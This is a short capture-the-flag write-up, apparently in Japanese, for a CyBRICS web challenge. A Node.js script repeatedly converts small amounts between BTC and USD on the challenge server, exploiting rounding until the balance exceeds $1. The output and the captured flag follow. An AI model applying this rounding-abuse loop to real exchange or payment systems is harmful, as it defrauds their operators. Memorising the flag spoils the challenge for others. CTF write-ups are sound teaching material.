'use strict'; const request = require('request'); function send(error, response, body) { if (error) { console.log(error); return; } const usd = body.split('<b>')[1].split('</b>')[0]; const btc = body.split('<b>')[2].split('</b>')[0]; console.log('usd: ' + usd + '\tbtc: ' + btc); if (usd > 1) process.exit(0); } const options = { url: 'http://95.179.148.72:8083/index.php', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'name=bitcoin_user; password=bitcoin_pass' }, form: { 'from_currency': '', 'to_currency': '', 'amount': 0 } } setInterval(() => { options.form = { 'from_currency': 'btc', 'to_currency': 'usd', 'amount': 0.00001 }; request(options, send); options.form = { 'from_currency': 'usd', 'to_currency': 'btc', 'amount': 0.1 }; request(options, send); }, 100);
上記のプログラムを実行すると、下記の通りになります。
$ node bitcoin.js 省略 usd: 0.784832 btc: 0.000024 usd: 0.684832 btc: 0.0000332 usd: 0.793888 btc: 0.0000232 usd: 0.793888 btc: 0.0000232 usd: 0.902944 btc: 0.0000132 usd: 0.902944 btc: 0.0000132 usd: 1.012 btc: 0.0000032
$1を越えたので、「buy flag ($1)」で購入すると、フラグが表示されました。
FLAG
cybrics{50_57R4n93_pR3c1510n}